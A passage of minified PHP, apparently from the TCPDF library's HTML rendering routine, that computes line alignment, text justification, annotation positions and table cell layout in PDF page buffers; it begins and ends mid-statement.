($this->y<$pre_y)){$startliney=$this->y;}}if($this->page>$startlinepage){if(isset($this->footerlen[$startlinepage])){$curpos=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];}$pagebuff=$this->getPageBuffer($startlinepage);$linebeg=substr($pagebuff,$startlinepos,($curpos-$startlinepos));$tstart=substr($pagebuff,0,$startlinepos);$tend=substr($this->getPageBuffer($startlinepage),$curpos);$this->setPageBuffer($startlinepage,$tstart.\'\'.$tend);$pagebuff=$this->getPageBuffer($this->page);$tstart=substr($pagebuff,0,$this->cntmrk[$this->page]);$tend=substr($pagebuff,$this->cntmrk[$this->page]);$yshift=($minstartliney-$this->y);if($fontaligned){$yshift+=($curfontsize/$this->k);}$try=sprintf(\'1 0 0 1 0 %F cm\',($yshift*$this->k));$this->setPageBuffer($this->page,$tstart."
q
".$try."
".$linebeg."
Q
".$tend);if(isset($this->PageAnnots[$this->page])){$next_pask=count($this->PageAnnots[$this->page]);}else {$next_pask=0;}if(isset($this->PageAnnots[$startlinepage])){foreach($this->PageAnnots[$startlinepage] as $pak=>$pac){if($pak>=$pask){$this->PageAnnots[$this->page][]=$pac;unset($this->PageAnnots[$startlinepage][$pak]);$npak=count($this->PageAnnots[$this->page])-1;$this->PageAnnots[$this->page][$npak][\'y\']-=$yshift;}}}$pask=$next_pask;$startlinepos=$this->cntmrk[$this->page];$startlinepage=$this->page;$startliney=$this->y;$this->newline=false;}$this->y+=($this->getCellHeight($curfontsize/$this->k)-($curfontdescent*$this->cell_height_ratio)-$imgh);$minstartliney=min($this->y,$minstartliney);$maxbottomliney=($startliney+$this->getCellHeight($curfontsize/$this->k));}}elseif(isset($dom[$key][\'fontname\']) OR isset($dom[$key][\'fontstyle\']) OR isset($dom[$key][\'fontsize\']) OR isset($dom[$key][\'line-height\'])){$pfontname=$curfontname;$pfontstyle=$curfontstyle;$pfontsize=$curfontsize;$fontname=(isset($dom[$key][\'fontname\'])?$dom[$key][\'fontname\']:$curfontname);$fontstyle=(isset($dom[$key][\'fontstyle\'])?$dom[$key][\'fontstyle\']:$curfontstyle);$fontsize=(isset($dom[$key][\'fontsize\'])?$dom[$key][\'fontsize\']:$curfontsize);$fontascent=$this->getFontAscent($fontname,$fontstyle,$fontsize);$fontdescent=$this->getFontDescent($fontname,$fontstyle,$fontsize);if(($fontname!=$curfontname) OR ($fontstyle!=$curfontstyle) OR ($fontsize!=$curfontsize) OR ($this->cell_height_ratio!=$dom[$key][\'line-height\']) OR ($dom[$key][\'tag\'] AND $dom[$key][\'opening\'] AND ($dom[$key][\'value\']==\'li\'))){if(($key<($maxel-1)) AND (($dom[$key][\'tag\'] AND $dom[$key][\'opening\'] AND ($dom[$key][\'value\']==\'li\')) OR ($this->cell_height_ratio!=$dom[$key][\'line-height\']) OR (!$this->newline AND is_numeric($fontsize) AND is_numeric($curfontsize) AND ($fontsize>=0) AND ($curfontsize>=0) AND (($fontsize!=$curfontsize) OR ($fontstyle!=$curfontstyle) OR ($fontname!=$curfontname))))){if($this->page>$startlinepage){if(isset($this->footerlen[$startlinepage])){$curpos=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];}$pagebuff=$this->getPageBuffer($startlinepage);$linebeg=substr($pagebuff,$startlinepos,($curpos-$startlinepos));$tstart=substr($pagebuff,0,$startlinepos);$tend=substr($this->getPageBuffer($startlinepage),$curpos);$this->setPageBuffer($startlinepage,$tstart.\'\'.$tend);$pagebuff=$this->getPageBuffer($this->page);$tstart=substr($pagebuff,0,$this->cntmrk[$this->page]);$tend=substr($pagebuff,$this->cntmrk[$this->page]);$yshift=($minstartliney-$this->y);$try=sprintf(\'1 0 0 1 0 %F cm\',($yshift*$this->k));$this->setPageBuffer($this->page,$tstart."
q
".$try."
".$linebeg."
Q
".$tend);if(isset($this->PageAnnots[$this->page])){$next_pask=count($this->PageAnnots[$this->page]);}else {$next_pask=0;}if(isset($this->PageAnnots[$startlinepage])){foreach($this->PageAnnots[$startlinepage] as $pak=>$pac){if($pak>=$pask){$this->PageAnnots[$this->page][]=$pac;unset($this->PageAnnots[$startlinepage][$pak]);$npak=count($this->PageAnnots[$this->page])-1;$this->PageAnnots[$this->page][$npak][\'y\']-=$yshift;}}}$pask=$next_pask;$startlinepos=$this->cntmrk[$this->page];$startlinepage=$this->page;$startliney=$this->y;}if(!isset($dom[$key][\'line-height\'])){$dom[$key][\'line-height\']=$this->cell_height_ratio;}if(!$dom[$key][\'block\']){if(!(isset($dom[($key+1)]) AND $dom[($key+1)][\'tag\'] AND (!$dom[($key+1)][\'opening\']) AND ($dom[($key+1)][\'value\']!=\'li\') AND $dom[$key][\'tag\'] AND (!$dom[$key][\'opening\']))){$this->y+=(((($curfontsize*$this->cell_height_ratio)-($fontsize*$dom[$key][\'line-height\']))/$this->k)+$curfontascent-$fontascent-$curfontdescent+$fontdescent)/2;}if(($dom[$key][\'value\']!=\'sup\') AND ($dom[$key][\'value\']!=\'sub\')){$current_line_align_data=array($key,$minstartliney,$maxbottomliney);if(isset($line_align_data) AND (($line_align_data[0]==($key-1)) OR (($line_align_data[0]==($key-2)) AND (isset($dom[($key-1)])) AND (preg_match(\'/^([\s]+)$/\',$dom[($key-1)][\'value\'])>0)))){$minstartliney=min($this->y,$line_align_data[1]);$maxbottomliney=max(($this->y+$this->getCellHeight($fontsize/$this->k)),$line_align_data[2]);}else {$minstartliney=min($this->y,$minstartliney);$maxbottomliney=max(($this->y+$this->getCellHeight($fontsize/$this->k)),$maxbottomliney);}$line_align_data=$current_line_align_data;}}$this->cell_height_ratio=$dom[$key][\'line-height\'];$fontaligned=true;}$this->SetFont($fontname,$fontstyle,$fontsize);$this->resetLastH();$curfontname=$fontname;$curfontstyle=$fontstyle;$curfontsize=$fontsize;$curfontascent=$fontascent;$curfontdescent=$fontdescent;}}$textstroke=isset($dom[$key][\'stroke\'])?$dom[$key][\'stroke\']:$this->textstrokewidth;$textfill=isset($dom[$key][\'fill\'])?$dom[$key][\'fill\']:(($this->textrendermode%2)==0);$textclip=isset($dom[$key][\'clip\'])?$dom[$key][\'clip\']:($this->textrendermode>3);$this->setTextRenderingMode($textstroke,$textfill,$textclip);if(isset($dom[$key][\'font-stretch\']) AND ($dom[$key][\'font-stretch\']!==false)){$this->setFontStretching($dom[$key][\'font-stretch\']);}if(isset($dom[$key][\'letter-spacing\']) AND ($dom[$key][\'letter-spacing\']!==false)){$this->setFontSpacing($dom[$key][\'letter-spacing\']);}if(($plalign==\'J\') AND $dom[$key][\'block\']){$plalign=\'\';}$curpos=$this->pagelen[$startlinepage];if(isset($dom[$key][\'bgcolor\']) AND ($dom[$key][\'bgcolor\']!==false)){$this->SetFillColorArray($dom[$key][\'bgcolor\']);$wfill=true;}else {$wfill=$fill|false;}if(isset($dom[$key][\'fgcolor\']) AND ($dom[$key][\'fgcolor\']!==false)){$this->SetTextColorArray($dom[$key][\'fgcolor\']);}if(isset($dom[$key][\'strokecolor\']) AND ($dom[$key][\'strokecolor\']!==false)){$this->SetDrawColorArray($dom[$key][\'strokecolor\']);}if(isset($dom[$key][\'align\'])){$lalign=$dom[$key][\'align\'];}if(TCPDF_STATIC::empty_string($lalign)){$lalign=$align;}}if($this->newline AND (strlen($dom[$key][\'value\'])>0) AND ($dom[$key][\'value\']!=\'td\') AND ($dom[$key][\'value\']!=\'th\')){$newline=true;$fontaligned=false;if(isset($startlinex)){$yshift=($minstartliney-$startliney);if(($yshift>0) OR ($this->page>$startlinepage)){$yshift=0;}$t_x=0;$linew=abs($this->endlinex-$startlinex);if($this->inxobj){$pstart=substr($this->xobjects[$this->xobjid][\'outdata\'],0,$startlinepos);if(isset($opentagpos)){$midpos=$opentagpos;}else {$midpos=0;}if($midpos>0){$pmid=substr($this->xobjects[$this->xobjid][\'outdata\'],$startlinepos,($midpos-$startlinepos));$pend=substr($this->xobjects[$this->xobjid][\'outdata\'],$midpos);}else {$pmid=substr($this->xobjects[$this->xobjid][\'outdata\'],$startlinepos);$pend=\'\';}}else {$pstart=substr($this->getPageBuffer($startlinepage),0,$startlinepos);if(isset($opentagpos) AND isset($this->footerlen[$startlinepage]) AND (!$this->InFooter)){$this->footerpos[$startlinepage]=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];$midpos=min($opentagpos,$this->footerpos[$startlinepage]);}elseif(isset($opentagpos)){$midpos=$opentagpos;}elseif(isset($this->footerlen[$startlinepage]) AND (!$this->InFooter)){$this->footerpos[$startlinepage]=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];$midpos=$this->footerpos[$startlinepage];}else {$midpos=0;}if($midpos>0){$pmid=substr($this->getPageBuffer($startlinepage),$startlinepos,($midpos-$startlinepos));$pend=substr($this->getPageBuffer($startlinepage),$midpos);}else {$pmid=substr($this->getPageBuffer($startlinepage),$startlinepos);$pend=\'\';}}if((isset($plalign) AND ((($plalign==\'C\') OR ($plalign==\'J\') OR (($plalign==\'R\') AND (!$this->rtl)) OR (($plalign==\'L\') AND ($this->rtl)))))){$tw=$w;if(($plalign==\'J\') AND $this->isRTLTextDir() AND ($this->num_columns>1)){$tw+=$this->cell_padding[\'R\'];}if($this->lMargin!=$prevlMargin){$tw+=($prevlMargin-$this->lMargin);}if($this->rMargin!=$prevrMargin){$tw+=($prevrMargin-$this->rMargin);}$one_space_width=$this->GetStringWidth(chr(32));$no=0;if($this->isRTLTextDir()){$pos1=TCPDF_STATIC::revstrpos($pmid,\'[(\');if($pos1>0){$pos1=intval($pos1);if($this->isUnicodeFont()){$pos2=intval(TCPDF_STATIC::revstrpos($pmid,\'[(\'.chr(0).chr(32)));$spacelen=2;}else {$pos2=intval(TCPDF_STATIC::revstrpos($pmid,\'[(\'.chr(32)));$spacelen=1;}if($pos1==$pos2){$pmid=substr($pmid,0,($pos1+2)).substr($pmid,($pos1+2+$spacelen));if(substr($pmid,$pos1,4)==\'[()]\'){$linew-=$one_space_width;}elseif($pos1==strpos($pmid,\'[(\')){$no=1;}}}}else {$pos1=TCPDF_STATIC::revstrpos($pmid,\')]\');if($pos1>0){$pos1=intval($pos1);if($this->isUnicodeFont()){$pos2=intval(TCPDF_STATIC::revstrpos($pmid,chr(0).chr(32).\')]\'))+2;$spacelen=2;}else {$pos2=intval(TCPDF_STATIC::revstrpos($pmid,chr(32).\')]\'))+1;$spacelen=1;}if($pos1==$pos2){$pmid=substr($pmid,0,($pos1-$spacelen)).substr($pmid,$pos1);$linew-=$one_space_width;}}}$mdiff=($tw-$linew);if($plalign==\'C\'){if($this->rtl){$t_x=-($mdiff/2);}else {$t_x=($mdiff/2);}}elseif($plalign==\'R\'){$t_x=$mdiff;}elseif($plalign==\'L\'){$t_x=-$mdiff;}elseif(($plalign==\'J\') AND ($plalign==$lalign)){if($this->isRTLTextDir()){$t_x=-$mdiff;}$ns=0;$pmidtemp=$pmid;$pmidtemp=preg_replace(\'/[\\][\(]/x\',\'\#!#OP#!#\',$pmidtemp);$pmidtemp=preg_replace(\'/[\\][\)]/x\',\'\#!#CP#!#\',$pmidtemp);if(preg_match_all(\'/\[\(([^\)]*)\)\]/x\',$pmidtemp,$lnstring,PREG_PATTERN_ORDER)){$spacestr=$this->getSpaceString();$maxkk=count($lnstring[1])-1;for($kk=0;$kk<=$maxkk;++$kk){$lnstring[1][$kk]=str_replace(\'#!#OP#!#\',\'(\',$lnstring[1][$kk]);$lnstring[1][$kk]=str_replace(\'#!#CP#!#\',\')\',$lnstring[1][$kk]);$lnstring[2][$kk]=substr_count($lnstring[1][$kk],$spacestr);$ns+=$lnstring[2][$kk];$lnstring[3][$kk]=$ns;}if($ns==0){$ns=1;}$spacewidth=($mdiff/($ns-$no))*$this->k;if($this->FontSize<=0){$this->FontSize=1;}$spacewidthu=-1000*($mdiff+(($ns+$no)*$one_space_width))/$ns/$this->FontSize;if($this->font_spacing!=0){$osw=-1000*$this->font_spacing/$this->FontSize;$spacewidthu+=$osw;}$nsmax=$ns;$ns=0;reset($lnstring);$offset=0;$strcount=0;$prev_epsposbeg=0;$textpos=0;if($this->isRTLTextDir()){$textpos=$this->wPt;}while(preg_match(\'/([0-9\.\+\-]*)[\s](Td|cm|m|l|c|re)[\s]/x\',$pmid,$strpiece,PREG_OFFSET_CAPTURE,$offset)==1){$stroffset=strpos($pmid,\'[(\',$offset);if(($stroffset!==false) AND ($stroffset<=$strpiece[2][1])){$offset=strpos($pmid,\')]\',$stroffset);while(($offset!==false) AND ($pmid[($offset-1)]==\'\\')){$offset=strpos($pmid,\')]\',($offset+1));}if($offset===false){$this->Error(\'HTML Justification: malformed PDF code.\');}continue;}if($this->isRTLTextDir()){$spacew=($spacewidth*($nsmax-$ns));}else {$spacew=($spacewidth*$ns);}$offset=$strpiece[2][1]+strlen($strpiece[2][0]);$epsposend=strpos($pmid,$this->epsmarker.\'Q\',$offset);if($epsposend!==null){$epsposend+=strlen($this->epsmarker.\'Q\');$epsposbeg=strpos($pmid,\'q\'.$this->epsmarker,$offset);if($epsposbeg===null){$epsposbeg=strpos($pmid,\'q\'.$this->epsmarker,($prev_epsposbeg-6));$prev_epsposbeg=$epsposbeg;}if(($epsposbeg>0) AND ($epsposend>0) AND ($offset>$epsposbeg) AND ($offset<$epsposend)){$trx=sprintf(\'1 0 0 1 %F 0 cm\',$spacew);$pmid_b=substr($pmid,0,$epsposbeg);$pmid_m=substr($pmid,$epsposbeg,($epsposend-$epsposbeg));$pmid_e=substr($pmid,$epsposend);$pmid=$pmid_b."
q
".$trx."
".$pmid_m."
Q
".$pmid_e;$offset=$epsposend;continue;}}$currentxpos=0;switch($strpiece[2][0]){case \'Td\':case \'cm\':case \'m\':case \'l\':{preg_match(\'/([0-9\.\+\-]*)[\s](\'.$strpiece[1][0].\')[\s](\'.$strpiece[2][0].\')([\s]*)/x\',$pmid,$xmatches);if(!isset($xmatches[1])){break;}$currentxpos=$xmatches[1];$textpos=$currentxpos;if(($strcount<=$maxkk) AND ($strpiece[2][0]==\'Td\')){$ns=$lnstring[3][$strcount];if($this->isRTLTextDir()){$spacew=($spacewidth*($nsmax-$ns));}++$strcount;}if(preg_match(\'/([0-9\.\+\-]*)[\s](\'.$strpiece[1][0].\')[\s](\'.$strpiece[2][0].\')([\s]*)/x\',$pmid,$pmatch)==1){$newpmid=sprintf(\'%F\',(floatval($pmatch[1])+$spacew)).\' \'.$pmatch[2].\' x*#!#*x\'.$pmatch[3].$pmatch[4];$pmid=str_replace($pmatch[0],$newpmid,$pmid);unset($pmatch,$newpmid);}break;}case \'re\':{if(!TCPDF_STATIC::empty_string($this->lispacer)){$this->lispacer=\'\';continue;}preg_match(\'/([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s](\'.$strpiece[1][0].\')[\s](re)([\s]*)/x\',$pmid,$xmatches);if(!isset($xmatches[1])){break;}$currentxpos=$xmatches[1];$x_diff=0;$w_diff=0;if($this->isRTLTextDir()){if($currentxpos<$textpos){$x_diff=($spacewidth*($nsmax-$lnstring[3][$strcount]));$w_diff=($spacewidth*$lnstring[2][$strcount]);}else {if($strcount>0){$x_diff=($spacewidth*($nsmax-$lnstring[3][($strcount-1)]));$w_diff=($spacewidth*$lnstring[2][($strcount-1)]);}}}else {if($currentxpos>$textpos){if($strcount>0){$x_diff=($spacewidth*$lnstring[3][($strcount-1)]);}$w_diff=($spacewidth*$lnstring[2][$strcount]);}else {if($strcount>1){$x_diff=($spacewidth*$lnstring[3][($strcount-2)]);}if($strcount>0){$w_diff=($spacewidth*$lnstring[2][($strcount-1)]);}}}if(preg_match(\'/(\'.$xmatches[1].\')[\s](\'.$xmatches[2].\')[\s](\'.$xmatches[3].\')[\s](\'.$strpiece[1][0].\')[\s](re)([\s]*)/x\',$pmid,$pmatch)==1){$newx=sprintf(\'%F\',(floatval($pmatch[1])+$x_diff));$neww=sprintf(\'%F\',(floatval($pmatch[3])+$w_diff));$newpmid=$newx.\' \'.$pmatch[2].\' \'.$neww.\' \'.$pmatch[4].\' x*#!#*x\'.$pmatch[5].$pmatch[6];$pmid=str_replace($pmatch[0],$newpmid,$pmid);unset($pmatch,$newpmid,$newx,$neww);}break;}case \'c\':{preg_match(\'/([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s]([0-9\.\+\-]*)[\s](\'.$strpiece[1][0].\')[\s](c)([\s]*)/x\',$pmid,$xmatches);if(!isset($xmatches[1])){break;}$currentxpos=$xmatches[1];if(preg_match(\'/(\'.$xmatches[1].\')[\s](\'.$xmatches[2].\')[\s](\'.$xmatches[3].\')[\s](\'.$xmatches[4].\')[\s](\'.$xmatches[5].\')[\s](\'.$strpiece[1][0].\')[\s](c)([\s]*)/x\',$pmid,$pmatch)==1){$newx1=sprintf(\'%F\',(floatval($pmatch[1])+$spacew));$newx2=sprintf(\'%F\',(floatval($pmatch[3])+$spacew));$newx3=sprintf(\'%F\',(floatval($pmatch[5])+$spacew));$newpmid=$newx1.\' \'.$pmatch[2].\' \'.$newx2.\' \'.$pmatch[4].\' \'.$newx3.\' \'.$pmatch[6].\' x*#!#*x\'.$pmatch[7].$pmatch[8];$pmid=str_replace($pmatch[0],$newpmid,$pmid);unset($pmatch,$newpmid,$newx1,$newx2,$newx3);}break;}}$cxpos=($currentxpos/$this->k);$lmpos=($this->lMargin+$this->cell_padding[\'L\']+$this->feps);if($this->inxobj){foreach($this->xobjects[$this->xobjid][\'annotations\'] as $pak=>$pac){if(($pac[\'y\']>=$minstartliney) AND (($pac[\'x\']*$this->k)>=($currentxpos-$this->feps)) AND (($pac[\'x\']*$this->k)<=($currentxpos+$this->feps))){if($cxpos>$lmpos){$this->xobjects[$this->xobjid][\'annotations\'][$pak][\'x\']+=($spacew/$this->k);$this->xobjects[$this->xobjid][\'annotations\'][$pak][\'w\']+=(($spacewidth*$pac[\'numspaces\'])/$this->k);}else {$this->xobjects[$this->xobjid][\'annotations\'][$pak][\'w\']+=(($spacewidth*$pac[\'numspaces\'])/$this->k);}break;}}}elseif(isset($this->PageAnnots[$this->page])){foreach($this->PageAnnots[$this->page] as $pak=>$pac){if(($pac[\'y\']>=$minstartliney) AND (($pac[\'x\']*$this->k)>=($currentxpos-$this->feps)) AND (($pac[\'x\']*$this->k)<=($currentxpos+$this->feps))){if($cxpos>$lmpos){$this->PageAnnots[$this->page][$pak][\'x\']+=($spacew/$this->k);$this->PageAnnots[$this->page][$pak][\'w\']+=(($spacewidth*$pac[\'numspaces\'])/$this->k);}else {$this->PageAnnots[$this->page][$pak][\'w\']+=(($spacewidth*$pac[\'numspaces\'])/$this->k);}break;}}}}$pmid=str_replace(\'x*#!#*x\',\'\',$pmid);if($this->isUnicodeFont()){$spacew=$spacewidthu;if($this->font_stretching!=100){$spacew/=($this->font_stretching/100);}$pos=0;$pmid=preg_replace(\'/[\\][\(]/x\',\'\#!#OP#!#\',$pmid);$pmid=preg_replace(\'/[\\][\)]/x\',\'\#!#CP#!#\',$pmid);if(preg_match_all(\'/\[\(([^\)]*)\)\]/x\',$pmid,$pamatch)>0){foreach($pamatch[0] as $pk=>$pmatch){$replace=$pamatch[1][$pk];$replace=str_replace(\'#!#OP#!#\',\'(\',$replace);$replace=str_replace(\'#!#CP#!#\',\')\',$replace);$newpmid=\'[(\'.str_replace(chr(0).chr(32),\') \'.sprintf(\'%F\',$spacew).\' (\',$replace).\')]\';$pos=strpos($pmid,$pmatch,$pos);if($pos!==FALSE){$pmid=substr_replace($pmid,$newpmid,$pos,strlen($pmatch));}++$pos;}unset($pamatch);}if($this->inxobj){$this->xobjects[$this->xobjid][\'outdata\']=$pstart."
".$pmid."
".$pend;}else {$this->setPageBuffer($startlinepage,$pstart."
".$pmid."
".$pend);}$endlinepos=strlen($pstart."
".$pmid."
");}else {if($this->font_stretching!=100){$spacewidth/=($this->font_stretching/100);}$rs=sprintf(\'%F Tw\',$spacewidth);$pmid=preg_replace("/\[\(/x",$rs.\' [(\',$pmid);if($this->inxobj){$this->xobjects[$this->xobjid][\'outdata\']=$pstart."
".$pmid."
BT 0 Tw ET
".$pend;}else {$this->setPageBuffer($startlinepage,$pstart."
".$pmid."
BT 0 Tw ET
".$pend);}$endlinepos=strlen($pstart."
".$pmid."
BT 0 Tw ET
");}}}}if(($t_x!=0) OR ($yshift<0)){$trx=sprintf(\'1 0 0 1 %F %F cm\',($t_x*$this->k),($yshift*$this->k));$pstart.="
q
".$trx."
".$pmid."
Q
";$endlinepos=strlen($pstart);if($this->inxobj){$this->xobjects[$this->xobjid][\'outdata\']=$pstart.$pend;foreach($this->xobjects[$this->xobjid][\'annotations\'] as $pak=>$pac){if($pak>=$pask){$this->xobjects[$this->xobjid][\'annotations\'][$pak][\'x\']+=$t_x;$this->xobjects[$this->xobjid][\'annotations\'][$pak][\'y\']-=$yshift;}}}else {$this->setPageBuffer($startlinepage,$pstart.$pend);if(isset($this->PageAnnots[$this->page])){foreach($this->PageAnnots[$this->page] as $pak=>$pac){if($pak>=$pask){$this->PageAnnots[$this->page][$pak][\'x\']+=$t_x;$this->PageAnnots[$this->page][$pak][\'y\']-=$yshift;}}}}$this->y-=$yshift;}}$pbrk=$this->checkPageBreak($this->lasth);$this->newline=false;$startlinex=$this->x;$startliney=$this->y;if($dom[$dom[$key][\'parent\']][\'value\']==\'sup\'){$startliney-=((0.3*$this->FontSizePt)/$this->k);}elseif($dom[$dom[$key][\'parent\']][\'value\']==\'sub\'){$startliney-=(($this->FontSizePt/0.7)/$this->k);}else {$minstartliney=$startliney;$maxbottomliney=($this->y+$this->getCellHeight($fontsize/$this->k));}$startlinepage=$this->page;if(isset($endlinepos) AND (!$pbrk)){$startlinepos=$endlinepos;}else {if($this->inxobj){$startlinepos=strlen($this->xobjects[$this->xobjid][\'outdata\']);}elseif(!$this->InFooter){if(isset($this->footerlen[$this->page])){$this->footerpos[$this->page]=$this->pagelen[$this->page]-$this->footerlen[$this->page];}else {$this->footerpos[$this->page]=$this->pagelen[$this->page];}$startlinepos=$this->footerpos[$this->page];}else {$startlinepos=$this->pagelen[$this->page];}}unset($endlinepos);$plalign=$lalign;if(isset($this->PageAnnots[$this->page])){$pask=count($this->PageAnnots[$this->page]);}else {$pask=0;}if(!($dom[$key][\'tag\'] AND !$dom[$key][\'opening\'] AND ($dom[$key][\'value\']==\'table\') AND (isset($this->emptypagemrk[$this->page])) AND ($this->emptypagemrk[$this->page]==$this->pagelen[$this->page]))){$this->SetFont($fontname,$fontstyle,$fontsize);if($wfill){$this->SetFillColorArray($this->bgcolor);}}}if(isset($opentagpos)){unset($opentagpos);}if($dom[$key][\'tag\']){if($dom[$key][\'opening\']){if(isset($dom[$key][\'text-indent\']) AND $dom[$key][\'block\']){$this->textindent=$dom[$key][\'text-indent\'];$this->newline=true;}if(($dom[$key][\'value\']==\'table\') AND isset($dom[$key][\'cols\']) AND ($dom[$key][\'cols\']>0)){if($this->rtl){$wtmp=$this->x-$this->lMargin;}else {$wtmp=$this->w-$this->rMargin-$this->x;}if(isset($dom[$key][\'attribute\'][\'cellspacing\'])){$clsp=$this->getHTMLUnitToUnits($dom[$key][\'attribute\'][\'cellspacing\'],1,\'px\');$cellspacing=array(\'H\'=>$clsp,\'V\'=>$clsp);}elseif(isset($dom[$key][\'border-spacing\'])){$cellspacing=$dom[$key][\'border-spacing\'];}else {$cellspacing=array(\'H\'=>0,\'V\'=>0);}if(isset($dom[$key][\'width\'])){$table_width=$this->getHTMLUnitToUnits($dom[$key][\'width\'],$wtmp,\'px\');}else {$table_width=$wtmp;}$table_width-=(2*$cellspacing[\'H\']);if(!$this->inthead){$this->y+=$cellspacing[\'V\'];}if($this->rtl){$cellspacingx=-$cellspacing[\'H\'];}else {$cellspacingx=$cellspacing[\'H\'];}$table_columns_width=($table_width-($cellspacing[\'H\']*($dom[$key][\'cols\']-1)));$table_min_column_width=($table_columns_width/$dom[$key][\'cols\']);$table_colwidths=array_fill(0,$dom[$key][\'cols\'],$table_min_column_width);}if($dom[$key][\'value\']==\'tr\'){$colid=0;}if(($dom[$key][\'value\']==\'td\') OR ($dom[$key][\'value\']==\'th\')){$trid=$dom[$key][\'parent\'];$table_el=$dom[$trid][\'parent\'];if(!isset($dom[$table_el][\'cols\'])){$dom[$table_el][\'cols\']=$dom[$trid][\'cols\'];}$tdborder=0;if(isset($dom[$key][\'border\']) AND !empty($dom[$key][\'border\'])){$tdborder=$dom[$key][\'border\'];}$colspan=intval($dom[$key][\'attribute\'][\'colspan\']);if($colspan<=0){$colspan=1;}$old_cell_padding=$this->cell_padding;if(isset($dom[($dom[$trid][\'parent\'])][\'attribute\'][\'cellpadding\'])){$crclpd=$this->getHTMLUnitToUnits($dom[($dom[$trid][\'parent\'])][\'attribute\'][\'cellpadding\'],1,\'px\');$current_cell_padding=array(\'L\'=>$crclpd,\'T\'=>$crclpd,\'R\'=>$crclpd,\'B\'=>$crclpd);}elseif(isset($dom[($dom[$trid][\'parent\'])][\'padding\'])){$current_cell_padding=$dom[($dom[$trid][\'parent\'])][\'padding\'];}else {$current_cell_padding=array(\'L\'=>0,\'T\'=>0,\'R\'=>0,\'B\'=>0);}$this->cell_padding=$current_cell_padding;if(isset($dom[$key][\'height\'])){$cellh=$this->getHTMLUnitToUnits($dom[$key][\'height\'],0,\'px\');}else {$cellh=0;}if(isset($dom[$key][\'content\'])){$cell_content=$dom[$key][\'content\'];}else {$cell_content=\' \';}$tagtype=$dom[$key][\'value\'];$parentid=$key;while(($key<$maxel) AND (!(($dom[$key][\'tag\']) AND (!$dom[$key][\'opening\']) AND ($dom[$key][\'value\']==$tagtype) AND ($dom[$key][\'parent\']==$parentid)))){++$key;}if(!isset($dom[$trid][\'startpage\'])){$dom[$trid][\'startpage\']=$this->page;}else {$this->setPage($dom[$trid][\'startpage\']);}if(!isset($dom[$trid][\'startcolumn\'])){$dom[$trid][\'startcolumn\']=$this->current_column;}elseif($this->current_column!=$dom[$trid][\'startcolumn\']){$tmpx=$this->x;$this->selectColumn($dom[$trid][\'startcolumn\']);$this->x=$tmpx;}if(!isset($dom[$trid][\'starty\'])){$dom[$trid][\'starty\']=$this->y;}else {$this->y=$dom[$trid][\'starty\'];}if(!isset($dom[$trid][\'startx\'])){$dom[$trid][\'startx\']=$this->x;$this->x+=$cellspacingx;}else {$this->x+=($cellspacingx/2);}if(isset($dom[$parentid][\'attribute\'][\'rowspan\'])){$rowspan=intval($dom[$parentid][\'attribute\'][\'rowspan\']);}else {$rowspan=1;}if(isset($dom[$table_el][\'rowspans\'])){$rsk=0;$rskmax=count($dom[$table_el][\'rowspans\']);while($rsk<$rskmax){$trwsp=$dom[$table_el][\'rowspans\'][$rsk];$rsstartx=$trwsp[\'startx\'];$rsendx=$trwsp[\'endx\'];if($trwsp[\'startpage\']<$this->page){if(($this->rtl) AND ($this->pagedim[$this->page][\'orm\']!=$this->pagedim[$trwsp[\'startpage\']][\'orm\'])){$dl=($this->pagedim[$this->page][\'orm\']-$this->pagedim[$trwsp[\'startpage\']][\'orm\']);$rsstartx-=$dl;$rsendx-=$dl;}elseif((!$this->rtl) AND ($this->pagedim[$this->page][\'olm\']!=$this->pagedim[$trwsp[\'startpage\']][\'olm\'])){$dl=($this->pagedim[$this->page][\'olm\']-$this->pagedim[$trwsp[\'startpage\']][\'olm\']);$rsstartx+=$dl;$rsendx+=$dl;}}if(($trwsp[\'rowspan\']>0) AND ($rsstartx>($this->x-$cellspacing[\'H\']-$current_cell_padding[\'L\']-$this->feps)) AND ($rsstartx<($this->x+$cellspacing[\'H\']+$current_cell_padding[\'R\']+$this->feps)) AND (($trwsp[\'starty\']<($this->y-$this->feps)) OR ($trwsp[\'startpage\']<$this->page) OR ($trwsp[\'startcolumn\']<$this->current_column))){$this->x=$rsendx+$cellspacingx;$colid+=$trwsp[\'colspan\'];if(($trwsp[\'rowspan\']==1) AND (isset($dom[$trid][\'endy\'])) AND (isset($dom[$trid][\'endpage\'])) AND (isset($dom[$trid][\'endcolumn\'])) AND ($trwsp[\'endpage\']==$dom[$trid][\'endpage\']) AND ($trwsp[\'endcolumn\']==$dom[$trid][\'endcolumn\'])){$dom[$table_el][\'rowspans\'][$rsk][\'endy\']=max($dom[$trid][\'endy\'],$trwsp[\'endy\']);$dom[$trid][\'endy\']=$dom[$table_el][\'rowspans\'][$rsk][\'endy\'];}$rsk=0;}else {++$rsk;}}}if(isset($dom[$parentid][\'width\'])){$cellw=$this->getHTMLUnitToUnits($dom[$parentid][\'width\'],$table_columns_width,\'px\');$tmpcw=($cellw/$colspan);for($i=0;$i<$colspan;++$i){$table_colwidths[($colid+$i)]=$tmpcw;}}else {$cellw=0;for($i=0;$i<$colspan;++$i){$cellw+=(isset($table_colwidths[($colid+$i)])?$table_colwidths[($colid+$i)]:0);}}$cellw+=(($colspan-1)*$cellspacing[\'H\']);$colid+=$colspan;if($rowspan>1){$trsid=array_push($dom[$table_el][\'rowspans\'],array(\'trid\'=>$trid,\'rowspan\'=>$rowspan,\'mrowspan\'=>$rowspan,\'colspan\'=>$colspan,\'startpage\'=>$this->page,\'startcolumn\'=>$this->current_column,\'startx\'=>$this->x,\'starty\'=>$this->y));}$cellid=array_push($dom[$trid][\'cellpos\'],array(\'startx\'=>$this->x));if($rowspan>1){$dom[$trid][\'cellpos\'][($cellid-1)][\'rowspanid\']=($trsid-1);}if(isset($dom[$parentid][\'bgcolor\']) AND ($dom[$parentid][\'bgcolor\']!==false)){$dom[$trid][\'cellpos\'][($cellid-1)][\'bgcolor\']=$dom[$parentid][\'bgcolor\'];}if(isset($tdborder) AND 